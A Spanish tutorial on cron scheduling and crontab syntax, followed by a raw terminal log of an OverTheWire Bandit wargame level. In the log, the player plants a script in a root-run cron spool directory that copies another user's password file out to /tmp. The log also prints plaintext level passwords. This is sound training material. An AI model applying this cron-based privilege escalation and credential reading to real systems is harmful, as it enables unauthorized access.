CRON

Cron es una herramienta y servicio de Unix y Linux diseñado para ejecutar tareas programadas automáticamente en horarios específicos. Es una de las herramientas más útiles en administración de sistemas para automatizar tareas repetitivas como respaldos, monitoreo de sistemas y tareas de mantenimiento.

Componentes de Cron

  • Cron Jobs: Son tareas específicas programadas para ejecutarse en tiempos predefinidos.
  • Crontab (Cron Table): Es el archivo donde se definen las tareas programadas. Cada usuario en un sistema puede tener su propio crontab, además del crontab del sistema.
  • Cron Daemon: Es el servicio que ejecuta las tareas programadas en los horarios especificados. Funciona en el fondo (background) y verifica constantemente si hay tareas que necesitan ser ejecutadas.

Sintaxis de Crontab

La sintaxis básica de un archivo crontab consiste en líneas de texto que siguen el formato:

MINUTO HORA DIA_DEL_MES MES DIA_DE_LA_SEMANA COMANDO
  • MINUTO: Valor entre 0 y 59
  • HORA: Valor entre 0 y 23
  • DIA_DEL_MES: Valor entre 1 y 31
  • MES: Valor entre 1 y 12
  • DIA_DE_LA_SEMANA: Valor entre 0 y 6 (donde 0 representa domingo)
  • COMANDO: El comando que se ejecutará

Ejemplos de Crontab

  1. Ejecutar un script todos los días a medianoche: 
    0 0 * * * /ruta/al/script.sh
  2. Realizar un respaldo el primer día de cada mes a las 3 AM: 
    0 3 1 * * /ruta/al/script_de_respaldo.sh
  3. Ejecutar una tarea cada 15 minutos: 
    */15 * * * * /ruta/al/script_cada_15_minutos.sh

Gestión de Crontab

  • Ver el Crontab Actual: crontab -l
  • Editar el Crontab: crontab -e
  • Eliminar el Crontab: crontab -r

Cuando se edita un crontab, se utiliza el editor definido por la variable de entorno EDITOR. Si no está definida, por defecto suele ser vi o nano.

Variables de Entorno en Crontab

Puedes definir variables de entorno al inicio del archivo crontab para usarlas en los comandos programados. Por ejemplo:

SHELL=/bin/bash
PATH=/usr/bin:/bin
MAILTO=usuario@example.com
* * * * * /ruta/al/script.sh

Consideraciones de Seguridad y Prácticas Recomendadas

  • Seguridad: Asegúrate de que los scripts ejecutados por cron no sean modificables por usuarios no autorizados. Esto puede evitar la ejecución de comandos maliciosos.
  • Pruebas: Prueba los comandos manualmente antes de añadirlos a crontab para asegurarte de que funcionan como se espera.
  • Logs: Cron generalmente guarda logs que pueden ser útiles para depurar problemas. Los logs suelen estar en /var/log/cron o similar, dependiendo de la distribución.

Resolución de Problemas

Si un trabajo cron no se ejecuta como se esperaba, puedes verificar los siguientes puntos:

  • Permisos: Asegúrate de que el script tenga permisos de ejecución.
  • Rutas Absolutas: Usa rutas absolutas para comandos y archivos en tu script.
  • Entorno: Recuerda que cron no carga el entorno completo de un usuario, por lo que algunas variables de entorno necesarias podrían no estar disponibles.

Conclusión

Cron es una herramienta esencial para automatizar tareas en sistemas Linux y Unix. Su comprensión y manejo correcto pueden mejorar significativamente la eficiencia y la confiabilidad de los sistemas operativos.

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Nos creamos un directorio temporal (Al final no hacia falta)

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Connection to bandit.labs.overthewire.org closed.
❯ sshpass -p '0Zf11ioIjMVN551jX3CmStKLYqjk54Ga' ssh bandit23@bandit.labs.overthewire.org -p 2220
                         _                     _ _ _   
                        | |__   __ _ _ __   __| (_) |_ 
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_ 
                        |_.__/ \__,_|_| |_|\__,_|_|\__|
                                                       

                      This is an OverTheWire game server. 
            More information on http://www.overthewire.org/wargames


      ,----..            ,----,          .---.
     /   /   \         ,/   .`|         /. ./|
    /   .     :      ,`   .'  :     .--'.  ' ;
   .   /   ;.  \   ;    ;     /    /__./ \ : |
  .   ;   /  ` ; .'___,/    ,' .--'.  '   \' .
  ;   |  ; \ ; | |    :     | /___/ \ |    ' '
  |   :  | ; | ' ;    |.';  ; ;   \  \;      :
  .   |  ' ' ' : `----'  |  |  \   ;  `      |
  '   ;  \; /  |     '   :  ;   .   \    .\  ;
   \   \  ',  /      |   |  '    \   \   ' \ |
    ;   :    /       '   :  |     :   '  |--"
     \   \ .'        ;   |.'       \   \ ;
  www. `---` ver     '---' he       '---" ire.org


Welcome to OverTheWire!

If you find any problems, please report them to the #wargames channel on
discord or IRC.

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

  Write-access to homedirectories is disabled. It is advised to create a
  working directory with a hard-to-guess name in /tmp/.  You can use the
  command "mktemp -d" in order to generate a random and hard to guess
  directory in /tmp/.  Read-access to both /tmp/ is disabled and to /proc
  restricted so that users cannot snoop on eachother. Files and directories
  with easily guessable or short names will be periodically deleted! The /tmp
  directory is regularly wiped.
  Please play nice:

    * don't leave orphan processes running
    * don't leave exploit-files laying around
    * don't annoy other players
    * don't post passwords or spoilers
    * again, DONT POST SPOILERS!
      This includes writeups of your solution on your blog or website!

--[ Tips ]--

  This machine has a 64bit processor and many security-features enabled
  by default, although ASLR has been switched off.  The following
  compiler flags might be interesting:

    -m32                    compile for 32bit
    -fno-stack-protector    disable ProPolice
    -Wl,-z,norelro          disable relro

  In addition, the execstack tool can be used to flag the stack as
  executable on ELF binaries.

  Finally, network-access is limited for most levels by a local
  firewall.

--[ Tools ]--

 For your convenience we have installed a few useful tools which you can find
 in the following locations:

    * gef (https://github.com/hugsy/gef) in /opt/gef/
    * pwndbg (https://github.com/pwndbg/pwndbg) in /opt/pwndbg/
    * peda (https://github.com/longld/peda.git) in /opt/peda/
    * gdbinit (https://github.com/gdbinit/Gdbinit) in /opt/gdbinit/
    * pwntools (https://github.com/Gallopsled/pwntools)
    * radare2 (http://www.radare.org/)

--[ More information ]--

  For more information regarding individual wargames, visit
  http://www.overthewire.org/wargames/

  For support, questions or comments, contact us on discord or IRC.

  Enjoy your stay!

bandit23@bandit:~$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ ls -l
total 24
-rw-r--r-- 1 root root 120 Jul 17 15:57 cronjob_bandit22
-rw-r--r-- 1 root root 122 Jul 17 15:57 cronjob_bandit23
-rw-r--r-- 1 root root 120 Jul 17 15:57 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr  8 14:38 e2scrub_all
-rwx------ 1 root root  52 Jul 17 15:59 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan  9  2024 sysstat
bandit23@bandit:/etc/cron.d$ cat cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh 
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

bandit23@bandit:/etc/cron.d$ cd $HOME
bandit23@bandit:~$ cd ..
bandit23@bandit:/home$ ls
bandit0   bandit14  bandit2   bandit25      bandit29      bandit31-git  bandit7    drifter12  drifter4  formulaone0  krypton1  krypton7
bandit1   bandit15  bandit20  bandit26      bandit29-git  bandit32      bandit8    drifter13  drifter5  formulaone1  krypton2  ubuntu
bandit10  bandit16  bandit21  bandit27      bandit3       bandit33      bandit9    drifter14  drifter6  formulaone2  krypton3
bandit11  bandit17  bandit22  bandit27-git  bandit30      bandit4       drifter0   drifter15  drifter7  formulaone3  krypton4
bandit12  bandit18  bandit23  bandit28      bandit30-git  bandit5       drifter1   drifter2   drifter8  formulaone5  krypton5
bandit13  bandit19  bandit24  bandit28-git  bandit31      bandit6       drifter10  drifter3   drifter9  formulaone6  krypton6
bandit23@bandit:/home$ cd ..
bandit23@bandit:/$ ls
bin                dev      formulaone  lib    lib.usr-is-merged  media  proc  sbin                srv  usr
bin.usr-is-merged  drifter  home        lib32  libx32             mnt    root  sbin.usr-is-merged  sys  var
boot               etc      krypton     lib64  lost+found         opt    run   snap                tmp
bandit23@bandit:/$ cat /etc/bandit_pass/bandit23 
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/$ cat /etc/bandit_pass/bandit24 
cat: /etc/bandit_pass/bandit24: Permission denied
bandit23@bandit:/$ cd /etc/cron.d
bandit23@bandit:/etc/cron.d$ cd /var/spool/bandit4/foo 
-bash: cd: /var/spool/bandit4/foo: No such file or directory
bandit23@bandit:/etc/cron.d$ cat /var/spool/bandit4/foo
cat: /var/spool/bandit4/foo: No such file or directory
bandit23@bandit:/etc/cron.d$ cat /var/spool/bandit24/foo
cat: /var/spool/bandit24/foo: Permission denied
bandit23@bandit:/etc/cron.d$ ls /var/spool/bandit24/foo  
ls: cannot open directory '/var/spool/bandit24/foo': Permission denied
bandit23@bandit:/etc/cron.d$ ls /var/spool/bandit24    
foo
bandit23@bandit:/etc/cron.d$ ls -l
total 24
-rw-r--r-- 1 root root 120 Jul 17 15:57 cronjob_bandit22
-rw-r--r-- 1 root root 122 Jul 17 15:57 cronjob_bandit23
-rw-r--r-- 1 root root 120 Jul 17 15:57 cronjob_bandit24
-rw-r--r-- 1 root root 201 Apr  8 14:38 e2scrub_all
-rwx------ 1 root root  52 Jul 17 15:59 otw-tmp-dir
-rw-r--r-- 1 root root 396 Jan  9  2024 sysstat
bandit23@bandit:/etc/cron.d$ ls -l /var/spool/bandit24
total 4
drwxrwx-wx 6 root bandit24 4096 Jul 23 02:39 foo
bandit23@bandit:/etc/cron.d$ mktemp
/tmp/tmp.AKHXJUtTS9
bandit23@bandit:/etc/cron.d$ nano /tmp/tmp.AKHXJUtTS9
Error opening terminal: xterm-kitty.
bandit23@bandit:/etc/cron.d$ export TERM=xterm
bandit23@bandit:/etc/cron.d$ nano /tmp/tmp.AKHXJUtTS9
Unable to create directory /home/bandit23/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

bandit23@bandit:/etc/cron.d$ cat /etc/bandit_pass/bandit23 > /tmp/tmp.AKHXJUtTS9
bandit23@bandit:/etc/cron.d$ nano /tmp/tmp.AKHXJUtTS9
Unable to create directory /home/bandit23/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

bandit23@bandit:/etc/cron.d$ mktemp -d
/tmp/tmp.65XRzdzv59
bandit23@bandit:/etc/cron.d$ cd /tmp/tmp.AKHXJUtTS9
-bash: cd: /tmp/tmp.AKHXJUtTS9: Not a directory
bandit23@bandit:/etc/cron.d$ cd /tmp/
bandit23@bandit:/tmp$ nano scriptYa.sh
Unable to create directory /home/bandit23/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

bandit23@bandit:/tmp$ nano scriptYa.sh
Unable to create directory /home/bandit23/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

bandit23@bandit:/tmp$ cat scriptYa.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9
bandit23@bandit:/tmp$ cp scriptYa.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp$ 0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga: command not found
bandit23@bandit:/tmp$ /tmp/tmp.AKHXJUtTS9
-bash: /tmp/tmp.AKHXJUtTS9: Permission denied
bandit23@bandit:/tmp$ cd /tmp/tmp.AKHXJUtTS9
-bash: cd: /tmp/tmp.AKHXJUtTS9: Not a directory
bandit23@bandit:/tmp$ cat /tmp/tmp.AKHXJUtTS9
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp$ cp scriptYa.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp$ ls -l
ls: cannot open directory '.': Permission denied
bandit23@bandit:/tmp$ chmod +x scriptYa.sh
bandit23@bandit:/tmp$ cp scriptYa.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp$ cat /tmp/tmp.AKHXJUtTS9
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp$ cat scriptYa.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9
bandit23@bandit:/tmp$ cat /tmp/tmp.AKHXJUtTS9
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp$ cp scriptYa.sh /var/spool/bandit24/
cp: cannot create regular file '/var/spool/bandit24/scriptYa.sh': Operation not permitted
bandit23@bandit:/tmp$ cp scriptYa.sh /var/spool/bandit24/foo/nuevo.sh
bandit23@bandit:/tmp$ cat scriptYa.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9
bandit23@bandit:/tmp$ cat /tmp/tmp.AKHXJUtTS9
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp$ cat /usr/bin/cronjob_bandit24.sh 
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done

bandit23@bandit:/tmp$ ls
ls: cannot open directory '.': Permission denied
bandit23@bandit:/tmp$ cat scriptYa.sh
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9
bandit23@bandit:/tmp$ cd /car/spool/
-bash: cd: /car/spool/: No such file or directory
bandit23@bandit:/tmp$ cd /var/spool/
bandit23@bandit:/var/spool$ ls
bandit24  cron  mail  rsyslog
bandit23@bandit:/var/spool$ cd bandit24/
bandit23@bandit:/var/spool/bandit24$ ls
foo
bandit23@bandit:/var/spool/bandit24$ ls -l
total 4
drwxrwx-wx 6 root bandit24 4096 Jul 23 02:55 foo
bandit23@bandit:/var/spool/bandit24$ nano script.sh
Unable to create directory /home/bandit23/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

bandit23@bandit:/var/spool/bandit24$ CAT script.sh
Command 'CAT' not found, but can be installed with:
apt install cat-bat
Please ask your administrator.
bandit23@bandit:/var/spool/bandit24$ CAT script.sh
Command 'CAT' not found, but can be installed with:
apt install cat-bat
Please ask your administrator.
bandit23@bandit:/var/spool/bandit24$ cat script.sh
cat: script.sh: No such file or directory
bandit23@bandit:/var/spool/bandit24$ #!/bin/bash
bandit23@bandit:/var/spool/bandit24$ "#!bin/bash/; cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9" > /foo/nuevo.sh
-bash: !bin/bash/: event not found
bandit23@bandit:/var/spool/bandit24$ echo "#!bin/bash/; cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9" > /foo/nuevo.sh
-bash: !bin/bash/: event not found
bandit23@bandit:/var/spool/bandit24$ c"#!bin/bash; cat /etc/bandit_pass/bandit24 > /tmp/tmp.AKHXJUtTS9" > /foo/nuevo.sh
-bash: !bin/bash: event not found
bandit23@bandit:/var/spool/bandit24$ vim nuevo
bandit23@bandit:/var/spool/bandit24$ mktemp -d
/tmp/tmp.hRk5izjyGn
bandit23@bandit:/var/spool/bandit24$ cd /tmp/tmp.hRk5izjyGn
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ touch dios.sh
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ chmod 777 dios.sh
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ touch resultado.txt
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ chmod 777 resultado.txt
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ pwd
/tmp/tmp.hRk5izjyGn
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat /tmp/tmp.hRk5izjyGn/resultado.txt 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat /tmp/tmp.hRk5izjyGn/resultado.txt 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ ls -l
total 4
-rwxrwxrwx 1 bandit23 bandit23 78 Jul 23 03:05 dios.sh
-rwxrwxrwx 1 bandit23 bandit23  0 Jul 23 03:03 resultado.txt
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ ./dios.sh 
cat: /etc/bandit_pass/bandit24: Permission denied
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ nvim dios.sh 
Command 'nvim' not found, but can be installed with:
snap install nvim    # version v0.10.0, or
apt  install neovim  # version 0.7.2-8
See 'snap info nvim' for additional versions.
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24
cp: cannot create regular file '/var/spool/bandit24/dios.sh': Operation not permitted
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/
cp: cannot create regular file '/var/spool/bandit24/dios.sh': Operation not permitted
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/fo
cp: cannot create regular file '/var/spool/bandit24/fo': Operation not permitted
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ ./dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat resultado.txt 
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat resultado.txt 
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ pwd
/tmp/tmp.hRk5izjyGn
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat resultado.txt 
0Zf11ioIjMVN551jX3CmStKLYqjk54Ga
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ vim dios.sh 
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ chmod 777 /tmp/tmp.hRk5izjyGn
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ ls
dios.sh  resultado.txt
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/nuevo
cp: cannot create regular file '/var/spool/bandit24/nuevo': Operation not permitted
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/fo
cp: cannot create regular file '/var/spool/bandit24/fo': Operation not permitted
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cp dios.sh /var/spool/bandit24/foo
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ ls
diosMio.txt  dios.sh  resultado.txt
bandit23@bandit:/tmp/tmp.hRk5izjyGn$ cat diosMio.txt 
gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8
bandit23@bandit:/tmp/tmp.hRk5izjyGn$

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